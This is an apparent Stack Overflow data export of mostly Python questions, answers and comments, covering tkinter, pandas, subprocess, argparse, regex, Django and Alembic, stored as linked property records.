has body: I'm trying to place a frame with a bunch of widgets inside a toplevel window for which I have created menus. When I run the program I get two separate windows (see screen grab). What I want is to see the labels, entry boxes, buttons, etc. inside the larger "main" window. Screenshot of actual result Here is the code: # Basic menubar with a few sub-menus from tkinter import * from tkinter import ttk root = Tk() root.option_add("tearOff", FALSE) # *************** SETUP THE CONTAINERS *********** root.title("Menu Example") root.geometry("600x300") #frame = ttk.Frame(root, borderwidth = 5, relief = "sunken") #frame.grid(row=0, column=0, sticky = (N,W,E,S)) # *************************************************** # **** Create the Menubar win = Toplevel(root) menubar = Menu(win) appmenu = Menu(menubar, name='apple') menubar.add_cascade(menu=appmenu) appmenu.add_command(label='About My Application') appmenu.add_separator() win["menu"]=menubar # Add some menus to the menubar menu_file = Menu(menubar) menu_edit = Menu(menubar) menu_transform = Menu(menubar) menubar.add_cascade(menu=menu_file, label="File") # cascade menu items add a menu to a menubar menubar.add_cascade(menu=menu_edit, label="Edit") # Add items to the menus menu_file.add_command(label = "New") # command menu items add commands to a menu. menu_file.add_command(label = "Open...") menu_file.add_command(label = "Close") menu_file.add_separator() menu_file.add_command(label = "Export as ...") menu_edit.add_command(label = "Copy") menu_edit.add_command(label = "Paste") menu_edit.add_cascade(menu=menu_transform, label="Transform") menu_transform.add_command(label="group") menu_transform.add_command(label="ungroup") menu_transform.add_command(label="align") #menu_edit.add_command(label = "Transform") # ***************************************** frame = ttk.Frame(win, borderwidth = 5, relief = "sunken") frame.grid(row=0, column=0, sticky = (N,W,E,S)) # *************************************************** ipaddr = StringVa…
has comment: http://stackoverflow.com/comment/81071884

http://stackoverflow.com/comment/80922358
has text: Check Python's array structure, it is efficient array of numeric values
score: 0
comment on: http://stackoverflow.com/q/46987769
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47021396
has body: I am having trouble getting a script to load files via deluge-console using .Popen() and .shlex(). I am using xubuntu and byobu on gnome-terminal. def torrentLoad(url): #client_run = subprocess.Popen(['deluged']]) sourceList = torrentWrite(sortXML(url)) print(sourceList) for s in sourceList: sleep(2) delugeList = ['deluge-console', 'add', s] load = subprocess.Popen(delugeList, stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = load.communicate() print(out, err) The variable sourceList contains functions that parse xml and returns a list of torrent files locations. (e.g. '/home/YOURHOME/Documents/torrents/file.torrent') In theory this should feed the command: deluge-console add /home/YOURHOME/Documents/torrents/file.torrent directly to terminal. Mind you I am running Byobu as well. I don't know if that would play a part in this or not. The output I am getting is nodda. Zilch.Thanks for any help.
tagged with: python
has comment: http://stackoverflow.com/comment/80990160
type: Question
has comment: http://stackoverflow.com/comment/80990691
score: 0
answer count: 0
tagged with: subprocess
has comment: http://stackoverflow.com/comment/80990215
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80989743
tagged with: shlex
tagged with: deluge
has title: Using .Popen() and .shlex() to load files to deluge-console

http://stackoverflow.com/a/46945404
downvote count: 0
has comment: http://stackoverflow.com/comment/80838296
answers question: http://stackoverflow.com/q/46945288
has comment: http://stackoverflow.com/comment/80838132
type: Answer
has comment: http://stackoverflow.com/comment/80838329
has body: df.reset_index().set_index(['sex','code','age']).unstack(-1).T Out[760]: sex 1 2 code a b c a b c age value (0,5] 1 0 1 0 1 1 (5,10] 1 1 0 0 0 0 Data input : Out[762]: value code sex age a 1 (0,5] 1 (5,10] 1 2 (0,5] 0 (5,10] 0 b 1 (0,5] 0 (5,10] 1 2 (0,5] 1 (5,10] 0 c 1 (0,5] 1 (5,10] 0 2 (0,5] 1 (5,10] 0 Or crosstab pd.crosstab(index=pd.cut(df.age, bin), columns=[df.sex, df.code]) Out[768]: sex 1 2 code a b c b c age (0, 5] 1 0 1 1 1 (5, 10] 1 1 0 0 0
score: 2
upvote count: 2

http://stackoverflow.com/comment/81080156
score: 0
type: AnswerComment
has text: I did installing thrift, and I can run run_tcp_server.sh which used thrift. So, I think python can't done the code "from thrift.transport import TSocket" .
comment on: http://stackoverflow.com/a/47059392
type: Comment

http://stackoverflow.com/q/46997707
tagged with: pandas
linked to: http://stackoverflow.com/q/46995997
answer count: 1
tagged with: dataframe
has body: Further to this question Grouping Pandas dataframe across rows, the op is: amount clients Comp1 16.360417 Comp2 69.697501 Comp3 85.700000 Comp4 36.666667 Comp5 44.156500 If a date column is added to the input: tdate,client1,client2,client3,client4,client5,client6,amount 12/31/2017,,,Comp1,,,4.475000 12/31/2017,,,Comp2,,,16.305584 10/31/2107,,,Comp3,,,4.050000 10/31/2017,Comp2,Comp1,,Comp4,,,21.000000 1/1/2017,,,Comp4,,,30.000000 2/2/2017,Comp1,,Comp2,,,5.137500 10/31/2017,,,Comp3,,,52.650000 12/31/2017,,,Comp1,,,2.650000 10/31/2017,Comp3,,,Comp3,,,29.000000 12/31/2017,Comp5,,,Comp2,,,20.809000 1/1/2017,Comp5,,,Comp2,,,15.100000 10/31/2017,Comp5,,,Comp2,,,52.404000 How would we get this output: 12/31/2017 Comp1 4.475+2.65 12/31/2017 Comp2 16.305584+20.809/2 10/31/2017 Comp2 21/3+5.1375/2+52.404/2 1/1/2017 Comp2 15.1/2 10/31/2017 Comp3 4.05+52.65+29 1/1/2017 Comp4 30 10/21/2017 Comp4 21/3 12/31/2017 Comp5 20.809/2 1/1/2017 Comp5 15.1/2 10/31/2017 Comp5 52.404/2
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/46997823
upvote count: 2
has answer: http://stackoverflow.com/a/46997823
downvote count: 0
has title: Grouping Pandas dataframe across rows - 2.0
tagged with: python
score: 2
type: AnsweredQuestion

http://stackoverflow.com/a/47004589
type: Answer
has body: The function in pyspark is called pivot: import pyspark.sql.functions as psf df.groupBy("Vehicle_id").pivot("Owner_ID").agg(psf.max("Vehicle_Buy_Date")).show() +----------+----------+----------+ |Vehicle_id| 1| 2| +----------+----------+----------+ | 1|01/01/2015|01/10/2014| | 2|10/10/2016| null| +----------+----------+----------+ If you know the number of distinct Owner_ID you can specify it as a list argument in the pivot function, otherwise it will compute it itself.
answers question: http://stackoverflow.com/q/47004009
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/a/46937900
type: Answer
has body: Using a generator for storing the random.randint values, and then finding the max from it : &gt;&gt;&gt; rand = (random.randint(2,14) for i in range(3)) &gt;&gt;&gt; max(list(rand)) One unfortunate side-effect of this is that you won't be able to access the rand generator once the max function is run on it. Using list comprehension to store the values: &gt;&gt;&gt; rand = [random.randint(2,14) for i in range(3)] &gt;&gt;&gt; rand =&gt; [4, 11, 5] &gt;&gt;&gt; max(rand) =&gt; 11
answers question: http://stackoverflow.com/q/46937806
score: 0

http://stackoverflow.com/q/46955150
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/80864694
has title: Filling in blanks based off of criteria of another
has body: So what I am trying to achieve is basically fill in blank rows in a column based off of another columns. so here is a snippet of what my dataframe looks like. Person_Name State_Abbrev Bool george, John CT NO george, John PA NO george, John. NY NO adam, Ross NY YES adam, Ross CA NO So what I want to do is look at the Person_Name column and say if the bool column says no for each of that specific Person_Name and their are no Yes for that person then make a new column and fill in the column with the word question, but if the Person_Name does have at least one row for that specific person_name that has a yes then dont fill in anything for that person and move on to the next person in my dataframe.
type: AnsweredQuestion
tagged with: fillna
score: 0
has comment: http://stackoverflow.com/comment/80902784
has answer: http://stackoverflow.com/a/46955431
answer count: 1
type: Question
accepted answer: http://stackoverflow.com/a/46955431

http://stackoverflow.com/comment/80988927
type: Comment
score: 0
type: AnswerComment
has text: Yea, tried that but it gives "could not solve -73*(y + LambertW .........." See above
comment on: http://stackoverflow.com/a/47011995

http://stackoverflow.com/comment/81060027
comment on: http://stackoverflow.com/q/47055963
score: 0
type: Comment
has text: It looks like you want us to write some code for you. While many users are willing to produce code for a coder in distress, they usually only help when the poster has already tried to solve the problem on their own. A good way to demonstrate this effort is to include the code you've written so far, example input (if there is any), the expected output, and the output you actually get (console output, tracebacks, etc.). The more detail you provide, the more answers you are likely to receive. Check the [FAQ] and [ask].
type: QuestionComment

http://stackoverflow.com/q/46990015
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80926533
score: 0
has comment: http://stackoverflow.com/comment/80926521
answer count: 2
has comment: http://stackoverflow.com/comment/80926522
tagged with: nested
has comment: http://stackoverflow.com/comment/80926618
upvote count: 1
has body: Here I have a nested list: [['a,b,c,d,e’], [‘d,e,c,b,a’], [‘e,b,a,e,c’], ['a,c,b,e,d'], [‘e,d,c,b,a’], [‘a,c,b,d,e']] I want to count the number of occurrences of "a" in the beginning of each list, so that will be 3. I also want to be able to do the same for each letter in the lists, so I know that the number of "b" in the second position of each list is 2. This is perhaps easier to imagine if you put each list on top of each other and look down the column. I want to be able to give the letter and position to scan through and receive the number of occurrences of that letter in that position. I hope I'm clear. Here is what I have tried so far: number=sum(x.count("a") for x in data[0][0])
has comment: http://stackoverflow.com/comment/80926494
possible better answer: http://stackoverflow.com/a/46992219
downvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/46990120
tagged with: position
has answer: http://stackoverflow.com/a/46992219
has answer: http://stackoverflow.com/a/46990120
type: Question
has comment: http://stackoverflow.com/comment/80926534
has comment: http://stackoverflow.com/comment/80926504
has comment: http://stackoverflow.com/comment/80926572
has title: Finding the number of occurrences of an element in every list inside a list
tagged with: python
has comment: http://stackoverflow.com/comment/80926594
has comment: http://stackoverflow.com/comment/80926702
tagged with: list

http://stackoverflow.com/comment/80994595
has text: @progmatico i dont know whats wrong to be exact. but for some reason 3.6.3 works so i guess i dont need a fix
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47023561
score: 0

http://stackoverflow.com/comment/81022836
has text: I am also getting the following error: ValueError: Tried to convert 'x' to a tensor and failed. Error: None values not supported. I tried other conversion routines, and still facing the ValueError.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47036073
score: 0

http://stackoverflow.com/q/46955198
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/46955263
has comment: http://stackoverflow.com/comment/80857854
has body: I am trying to start a script from a specific absolute path using from subprocess import check_output If I run: # myscript.py check_command=['pwd'] ret=check_output(check_command,shell=True) print(ret) path_set_command=['cd MYABSPATH'] ret=check_output(path_set_command,shell=True) ret=check_output(check_command,shell=True) print(ret) it prints two times the folder where myscript.py is located. Hence, I understand that the environment variables in the shell are recreated each call to check_output. How to set the path of a command with check_ouput? I have tried to have my command as ret=check_output(['cd MYABSPATH; ./otherscript.py'] ,shell=True) however, if I pass arguments to my otherscript.py (appending them as extra item to the list containing the command) they are not correctly forwarded. So how do I run otherscript.py in MYABSPATH with foo bar arguments?
has title: controlling environment for subprocess command
tagged with: python
tagged with: environment
type: AnsweredQuestion
answer count: 2
tagged with: subprocess
possible better answer: http://stackoverflow.com/a/46955243
has comment: http://stackoverflow.com/comment/80860092
has answer: http://stackoverflow.com/a/46955263
score: 1
has answer: http://stackoverflow.com/a/46955243
downvote count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/80857945
upvote count: 1
has comment: http://stackoverflow.com/comment/80859751

http://stackoverflow.com/comment/80944421
type: Comment
comment on: http://stackoverflow.com/q/46988246
type: QuestionComment
score: 0
has text: Which URLs are requested by the site when the "next page" link is clicked?

http://stackoverflow.com/q/47028113
tagged with: python
tagged with: sorting
tagged with: dictionary
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47028151
accepted answer: http://stackoverflow.com/a/47028151
answer count: 1
score: 0
type: Question
tagged with: python-3.x
has title: Python sort list of dictionary by last name
has body: I'm trying to sort the dep_list, which is a list of dictionaries containing employee information (name, department, position, salary). Right now I believe I have it sorting by first name, however I want to sort by last name. If at all possible without breaking the 'name' up into 2 different strings. #Function for adding employee information def add_emp(): #Ask the user to add an employee print("Enter the employee's information:\n") #Input first and last name name = str(input("What is the employee's name? ")).title() #Input employee position position = str(input("What is their position? ")).title() #Input employee department em_department = str(input("What is their department? ")).title() #Make sure the salary is numeric try: #Input employee salary salary = round(float(input("What is their salary? ")), 2) #Add information to a dictionary called employees employees[name] = {"name": name, "position": position, "em_department": em_department, "salary": salary} except: print("Salaries must be numeric, silly!") #Function for adding employees to dictionary by department def dep_emp(): #Go through all department names stored in the tuple for x in dep_tup: #Initialize department list each time to ensure correct sorting dep_list = [] #Go through all employee dictionaries; when matched, add to the list associated with the corresponding key in the dep_dict dictionary for names in employees: if x == employees[names]["em_department"]: dep_list.append(employees[names]) dep_list.sort(key=operator.itemgetter('name')) dep_dict[x] = dep_list continue Note: The list of dictionaries looks like this: { department1: [{'name': name, 'em_department': department, 'position': position, 'salary': salary}, ...], department2: [...] }

http://stackoverflow.com/q/47055575
answer count: 3
has title: search in python for large list
tagged with: substring
tagged with: search
type: Question
has comment: http://stackoverflow.com/comment/81059503
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47059028
has comment: http://stackoverflow.com/comment/81059025
has answer: http://stackoverflow.com/a/47055724
linked to: http://stackoverflow.com/q/21842885
tagged with: python
has comment: http://stackoverflow.com/comment/81058150
tagged with: data-processing
has answer: http://stackoverflow.com/a/47055802
has body: I have two lists: list message and list keyword. List message looks like this: message = ["my name is blabla",'x-men is a good movie','i deny that fact'] keyword = ['x-men','name is','psycho movie'] I want to make a new list which contains keywords that are present in the message. newList = [] for message_index in message: print(newList) for keyword in keywords: if search(r'\b{}\b'.format(keyword), message_index): newList.append(keyword) My python code is above, the problem is each sentence in my message list is around 100 to 150 words and the length of the list is 3000. Each keyword maybe one or two words and the length of the list is 12,000. So the search is taking a long time, is there a shorter way to do it? This question is different because of the large amount of data in both list.
score: 0

http://stackoverflow.com/q/46916293
type: Question
upvote count: 2
accepted answer: http://stackoverflow.com/a/46916811
answer count: 2
possible better answer: http://stackoverflow.com/a/46916546
has answer: http://stackoverflow.com/a/46916811
tagged with: python
tagged with: variables
tagged with: pointers
tagged with: parameters
type: AnsweredQuestion
has title: Update tkinter widget parameters with "pointer"
score: 2
downvote count: 0
has body: If I create a tkinter.Label with parameter fg = PRIMARY_COLOR and than .pack() it, if I change the value of PRIMARY_COLOR variable, call the .update() method of the widget, foreground color will not change. I know, why this is happening, but can I somehow do, that the widget will change foreground color with the PRIMARY_COLOR variable change? Can I make some kind of "pointer"?
has answer: http://stackoverflow.com/a/46916546
favorite count: 0
tagged with: tkinter

http://stackoverflow.com/a/46946006
upvote count: 1
has body: Try this by first importing model and api: from openerp import api, fields, models, _ Also for odoo 10 you have to be call your onchange function in the field where you try to apply onchange for eg. @api.onchange('product_id') def _onchange_product_pack_name(self): res = self.product_id.product_pack if res: return {'domain': {'pack_id': [('id', 'in', [v.id for v in res])]}} test = fields.Many2one('product.product',string="Pack Products",change_default=True, default=_onchange_action_product_add )
downvote count: 0
score: 1
type: Answer
answers question: http://stackoverflow.com/q/46931596

http://stackoverflow.com/comment/81051199
type: QuestionComment
score: 0
has text: @MegaIng this cannot be the issue, unless you copy-paste the code into a REPL
type: Comment
comment on: http://stackoverflow.com/q/47052039

http://stackoverflow.com/a/47055936
has body: You can easily implement it without regex based on arithmetic operations on booleans: import itertools def check_word(word): spec_symbols = '()1234567890!?_@#$%^&amp;*.,' match = [l in spec_symbols for l in word] group = [k for k,g in itertools.groupby(match)] return sum(group) == 1 print(check_word("terdsa223124")) # True print(check_word("ter223124dsa")) # True print(check_word("223124terdsa")) # True print(check_word("223124terdsa223124")) # False print(check_word("223124ter223124dsa")) # False
accepted answer of: http://stackoverflow.com/q/47055777
score: 3
type: Answer
answers question: http://stackoverflow.com/q/47055777
upvote count: 3
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/46922061
has body: I have an argparse function: def argParse(): # Possible Arguments parser = argparse.ArgumentParser() parser.add_argument("-s", "--search", dest="s", help="Seach parameters") parser.add_argument("-d", "--directory", dest="d", help="Choose Directory to save data") args = parser.parse_args() params = str(args.s) directory = str(args.d) if params == "None": print("Search parameters are null, exiting program.") parser.print_help() exit(1) if directory == "None": print("directory is null, storing to current working directory.") But, it is adding a extra capitol S and D to the useage output? Any idea on how to clean this up? usage: scan.py [-h] [-s S] [-d D] optional arguments: -h, --help show this help message and exit -s S, --search S Seach parameters -d D, --directory D Choose Directory to save data
has answer: http://stackoverflow.com/a/46922267
has title: Extra Characters in python Argparse?
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80791452
score: 1
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80791634
has comment: http://stackoverflow.com/comment/80791616
tagged with: argparse
tagged with: python
accepted answer: http://stackoverflow.com/a/46922267

http://stackoverflow.com/a/47138371
score: 5
type: Answer
accepted answer of: http://stackoverflow.com/q/46911909
has body: The solution is to use OpenApi extensions by adding x-attr like attribute. The details are in next link: https://swagger.io/specification/#specificationExtensions
downvote count: 0
type: AcceptedAnswer
upvote count: 5
answers question: http://stackoverflow.com/q/46911909

http://stackoverflow.com/q/46998234
has comment: http://stackoverflow.com/comment/80943085
answer count: 1
tagged with: statsmodels
tagged with: pandas
score: 0
tagged with: regression
has body: I have a dataset that includes 7 different covariates and an output variable, the 'success rate'. I'm trying to find the important factors that predict the success rate. One of the covariates in my dataset is a categorical variable that takes on 700 values (0- 700), each representing the ID of the district they're from. How should I deal with this variable while performing logistic regression? If I make 700 dummy columns, how can I make it easier to interpret the results? I'm using Python and statsmodels.
has answer: http://stackoverflow.com/a/46998392
type: Question
has title: Logistic Regression- Working with categorical variable in Python?
tagged with: python
type: UnansweredQuestion

http://stackoverflow.com/comment/80869868
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46961171
has text: can you show your existing soup statements?

http://stackoverflow.com/comment/123096178
comment on: http://stackoverflow.com/a/47002611
score: 0
has text: I don't see potential problems with this example. The first suitable interval of indices is 0-3, the second one 2-4, it remains the best.
type: Comment
type: AnswerComment

decode
tag name: decode
tags question: http://stackoverflow.com/q/47050746
type: Tag

http://stackoverflow.com/q/47005024
type: Question
type: UnansweredQuestion
has body: I'm writing small Python utility to use my RESTful API written in PHP. So far, everything works fine with GET requests, but when I try to do POST request, new records are not created in the database, even though response returns status code 200. from httplib2 import Http import json root_dir = 'http://restphp/restphp/public/api/' not_finished = True http_obj = Http() def get(url): resp, content = http_obj.request(url) return resp, content def post(url, data): resp, content = http_obj.request( uri = url, method = 'POST', headers = {'Content-Type': 'application/json; charset=UTF-8'}, body = json.dumps(data) ) return resp, content # Code for getting data from input stream # ... data = { 'first_name': first_name, 'last_name': last_name, 'email': address } resp, content = post(root_dir + 'customer/add', data) print(resp) This is the output: {'date': 'Sun, 29 Oct 2017 19:27:29 GMT', 'server': 'Apache/2.4.23 (Unix) OpenSSL/1.0.2j PHP/7.0.13 mod_perl/2.0.8-dev Perl/v5.16.3', 'x-powered-by': 'PHP/7.0.13', 'content-length': '109', 'content-type': 'text/html; charset=UTF-8', 'status': '200'} This is the route for creating new customer (I'm using Slim framework). I checked API with RestEasy extension for Chrome and everything works with it. # Add new customer $app-&gt;post('/api/customer/add', function(Request $request, Response $response) { $first_name = $request-&gt;getParam('first_name'); $last_name = $request-&gt;getParam('last_name'); $phone = $request-&gt;getParam('phone'); $email = $request-&gt;getParam('email'); $address = $request-&gt;getParam('address'); $city = $request-&gt;getParam('city'); $state = $request-&gt;getParam('state'); $sql = "INSERT INTO customers (first_name, last_name, phone, email, address, city, state) VALUES (:first_name, :last_name, :phone, :email, :address, :city, :state)"; try { $db = new DB(); $db = $db-&gt;connect(); $stmt = $db-&gt;prepare($sql); $stmt-&gt;bindParam(":first_name", $first_name); $stmt-&gt;bindParam(":last_name", $last_name); $…
tagged with: python
tagged with: php
has answer: http://stackoverflow.com/a/47005836
score: 0
answer count: 1
has title: Couldn't create new record in the database with POST request
tagged with: http

build
tag name: build
type: Tag
tags question: http://stackoverflow.com/q/46939660

http://stackoverflow.com/comment/80978446
type: AnswerComment
comment on: http://stackoverflow.com/a/47016038
score: 1
has text: No. That's wrong. That applies to numpy arrays not lists.
type: Comment

http://stackoverflow.com/comment/81031978
has text: @martineau thank you for the hint. I've looked into the said file in the line 361 (which is hinted in the log), according to VC++ doc, *error C2373* means `The identifier is already defined with a different type modifier.` , the log also said `corecrt_io.h(528): note: see declaration of 'setmode'`, also have done it. Turns out there is a method named setmode on both files (corecrt_io.h and py_gpio.h). Is this the problem ?
score: 0
comment on: http://stackoverflow.com/q/47041569
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47048971
score: 4
answers question: http://stackoverflow.com/q/47048846
downvote count: 0
has body: CSV formats have its limitations. One of them being keeping information about multi-indexes. You will have to keep track and judiciously load your data. Here's an example. df AA1 AA2 ID name AA1 B 1 B K H2 n2 2 B K H3 n3 C 0 C W H1 n1 G 4 G B H5 n5 5 G B H6 n6 X 3 X A H4 n4 df.to_csv('test.csv') !cat test.csv AA1,,AA1,AA2,ID,name B,1,B,K,H2,n2 B,2,B,K,H3,n3 C,0,C,W,H1,n1 G,4,G,B,H5,n5 G,5,G,B,H6,n6 X,3,X,A,H4,n4 That's how the CSV is saved. Now, when loading it back, specify index_col and the multi-index will be loaded as before. (pd.read_csv('test.csv', index_col=[0, 1]) .rename_axis(['AA1', None]) .rename(columns=lambda x: x.split('.')[0])) AA1 AA2 ID name AA1 B 1 B K H2 n2 2 B K H3 n3 C 0 C W H1 n1 G 4 G B H5 n5 5 G B H6 n6 X 3 X A H4 n4 Keep in mind that your column names are mangled when saving and re-loading - this is another CSV limitation. As the other answer mentions, it would be better to explicitly save with an index_label when calling to_csv so you don't have to unmangle your columns.
type: Answer
upvote count: 4

http://stackoverflow.com/comment/80913566
has text: Please post the direcotry layout of the different apps you are trying to import (your app, `venueadmin`, and `suitsandtablesadmin`)
comment on: http://stackoverflow.com/q/46983021
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80790314
comment on: http://stackoverflow.com/q/46921290
type: Comment
type: QuestionComment
has text: 7.057 7.029 5.843 5.557 4.186 4.1 2.286
score: 0

http://stackoverflow.com/comment/80961355
score: 0
has text: @smac89 Yes, it's backwards-compatible with Python 2.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47007347

http://stackoverflow.com/comment/80806828
has text: @Jan right! To be more explicit, you could even use `.rstrip("\n")`. But I guess `str.strip` is perfectly fine in this case.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46929395

http://stackoverflow.com/a/46910518
score: 0
has body: for word in ['I ab c def']: for character in word: if character == ' ': new.append(' ') else: new.append(ord(character.lower())-96) str1 = ''.join(str(e) for e in new) Output 9 12 3 456
type: Answer
answers question: http://stackoverflow.com/q/46910204

http://stackoverflow.com/q/46960619
has answer: http://stackoverflow.com/a/46960831
has comment: http://stackoverflow.com/comment/80868670
has comment: http://stackoverflow.com/comment/80869321
tagged with: python
tagged with: dictionary
tagged with: regex
has comment: http://stackoverflow.com/comment/80869954
favorite count: 0
type: Question
upvote count: 4
tagged with: python-3.x
has title: Read dict values as regex, return matches
answer count: 2
accepted answer: http://stackoverflow.com/a/46961146
has comment: http://stackoverflow.com/comment/80868722
downvote count: 0
score: 4
has comment: http://stackoverflow.com/comment/80869679
has comment: http://stackoverflow.com/comment/80869166
type: AnsweredQuestion
has body: I have a python dictionary that contains a list of terms as values: myDict = { ID_1: ['(dog|cat[a-z+]|horse)', '(car[a-z]+|house|apple\w)', '(bird|tree|panda)'], ID_2: ['(horse|building|computer)', '(panda\w|lion)'], ID_3: ['(wagon|tiger|cat\w*)'], ID_4: ['(dog)'] } I want to be able to read the the list-items in each value as individual regular expressions and if they match any text, have the matched text returned as keys in a separate dictionary with their original keys (the IDs) as the values. So if these terms were read as regexes for searching this string: "dog panda cat cats pandas car carts" The general approach I have in mind is something like: for key, value in myDict: for item in value: if re.compile(item) = match-in-text: newDict[match] = [list of keys] The expected output would be: newDict = { car: [ID_1], carts: [ID_1], dog: [ID_1, ID_4], panda: [ID_1, ID_2], pandas: [ID_1, ID_2], cat: [ID_1, ID_3], cats: [ID_1, ID_3] } The matched text should be returned as a key in newDict only if they've actually matched something in the body of text. So in the output, 'Carts' is listed there since the regex in ID_1's values matched with it. And therefore the ID is listed in the output dict.
possible better answer: http://stackoverflow.com/a/46960831
linked to: http://stackoverflow.com/q/3294889
has answer: http://stackoverflow.com/a/46961146

http://stackoverflow.com/a/47052290
has comment: http://stackoverflow.com/comment/81051728
type: AcceptedAnswer
downvote count: 1
has comment: http://stackoverflow.com/comment/81051777
accepted answer of: http://stackoverflow.com/q/47052039
has comment: http://stackoverflow.com/comment/81051664
has body: You do have tabs there. def on_data(self, data): dict_data = json.loads(data) # ^ tab and 4 spaces here tweet = TextBlob(dict_data["text"]) # ^ 8 spaces here print(tweet.sentiment.polarity) # ^ ^ two tabs here (equal 16 spaces) Note that the representation in SO site translates the tabs to spaces, but if you copy the source into a code editor, it reveals the tabs:
type: Answer
answers question: http://stackoverflow.com/q/47052039
has comment: http://stackoverflow.com/comment/81051550
upvote count: 4
has comment: http://stackoverflow.com/comment/120675100
score: 3
has comment: http://stackoverflow.com/comment/81051451

http://stackoverflow.com/q/47015349
tagged with: sqlalchemy
type: Question
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47030719
tagged with: database
tagged with: python
score: 0
has title: Weird Alembic Behavior
tagged with: alembic
answer count: 1
has body: I have 2 migration scripts. Script 1: Base from models import EntityProperty from contextlib import contextmanager # revision identifiers, used by Alembic. revision = 'ecbde8fa83e3' down_revision = None branch_labels = None depends_on = None from alembic import op # noqa import sqlalchemy as sa # noqa @contextmanager def session_scope(): session = sa.orm.session.Session(bind=op.get_bind()) try: yield session session.commit() except: session.rollback() raise finally: session.close() def _upgrade(session): properties = session.query(EntityProperty).filter( ~EntityProperty._ptype.in_(["AI", "AO", "AV"]) ).all() for _property in properties: _property._cov_increment = None def upgrade(): with session_scope() as session: _upgrade(session) def downgrade(): pass Script 2: revision = 'ab47480a7be7' down_revision = u'ecbde8fa83e3' branch_labels = None depends_on = None from alembic import op # noqa import sqlalchemy as sa # noqa def upgrade(): # add bacnet_enable to EP with op.batch_alter_table(u'entityproperties', schema=None) as batch_op: batch_op.execute("PRAGMA foreign_keys=OFF;") batch_op.add_column( sa.Column( 'bacnet_object', sa.Boolean(), nullable=True, server_default=expression.true())) def downgrade(): with op.batch_alter_table(u'entityproperties', schema=None) as batch_op: batch_op.drop_column('bacnet_object') Now when I try to downgrade to the base, I get an error stating that no such column: entityproperties.bacnet_object This error is generated while executing the base script(Script 1). I checked the generated SQL and it has entityproperties.bacnet_object AS entityproperties_bacnet_object Why is bacnet_object column is being asked for while executing script1? The downgrade of Script2 should remove the column from the EntityProperty table. What am I doing wrong here? Update: I did check the db after the 2nd script is executed. There is no column called bacnet_object in EntityProperty table, but still the SQL generated is looking for a bacnet_object column?

http://stackoverflow.com/a/47039796
has comment: http://stackoverflow.com/comment/81034104
has comment: http://stackoverflow.com/comment/81031783
has body: You need to run the Selenium Java server for this to work, since HTMLUnit is implemented on the Java side. So download it and run: java -jar selenium-server-standalone-3.6.0.jar Then update your code to point to it (you need to set version and platform to None): from selenium import webdriver cap = {'platform': None, 'browserName': 'htmlunit', 'version': None} driver = webdriver.Remote(command_executor='http://localhost:4444/wd/hub', desired_capabilities=cap) driver.get("https://google.com") print(driver.page_source)
score: 0
answers question: http://stackoverflow.com/q/47036274
has comment: http://stackoverflow.com/comment/81031616
type: Answer

http://stackoverflow.com/q/47019474
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80988930
has body: There is some related posts, but none of them is actually specific to this problem. I'm trying to implement a post-save logic in one of my nested Django admin form. By nested I mean having inlines. I've been able to implement a logic by overriding save_model like so, def save_model(self, request, obj, form, change): #Added logic here using obj return super(SomeModelAdmin, self).save_model(request, obj, form, change) Obviously, if changes were made in one of the inlines, my logic was not considering it since save_modelis applied only on the parent object. I found a Django ticket on this issue. It suggest that save_related should be used instead since it now handles this kind of problem (see this). Therefore I tried, def save_related(self, request, form, formsets, change): #Added logic here using form.instance return super(SomeModelAdmin, self).save_related(request, form, formsets, change) But I have the same behavior as above where changes seems not to be saved when using my logic. Is there something I'm doing wrong here ? EDIT Here is some more information. Basically, I'm adding a custom button in change_form.html and that is trigerring a custom method. So, def save_related(self, request, form, formsets, change): if 'MyButton' in request.POST: #Added logic here using form.instance return super(SomeModelAdmin, self).save_related(request, form, formsets, change) So, by doing this I'm adding a new custom behavior to django admin besides the built-in saves methods already included. In order words, the button could be used to manipulate data and save the model simultaneously. Now, my problem is that when MyButton is triggered and custom logic is called, if someone has made changes in one of the inlines, the logic added does not consider it since it is not saved in the database yet.
has comment: http://stackoverflow.com/comment/80989374
tagged with: django-admin
has answer: http://stackoverflow.com/a/47021364
answer count: 1
tagged with: django
has comment: http://stackoverflow.com/comment/80988709
has comment: http://stackoverflow.com/comment/80985855
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47021364
score: 0
has comment: http://stackoverflow.com/comment/80989423
has comment: http://stackoverflow.com/comment/80989420
tagged with: python
has comment: http://stackoverflow.com/comment/80987082
has comment: http://stackoverflow.com/comment/80987331
has title: Implementing a post-save logic by overriding save_related in Django Admin

http://stackoverflow.com/comment/81035468
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47043788
has text: No. I tried `f = Product.objects.create(name='Shorts',category='Clothings',subcategor ...: y='Female')`, but it gave `ValueError: Cannot assign "'Clothings'": "Product.category" must be a "Category" instance.` I guess this is because field category is a foreign key, but I don't know how to do that for foreign key.

http://stackoverflow.com/q/47055771
favorite count: 0
has answer: http://stackoverflow.com/a/61662694
type: Question
tagged with: opencv
accepted answer: http://stackoverflow.com/a/47057324
has answer: http://stackoverflow.com/a/47057324
tagged with: python
has comment: http://stackoverflow.com/comment/81060418
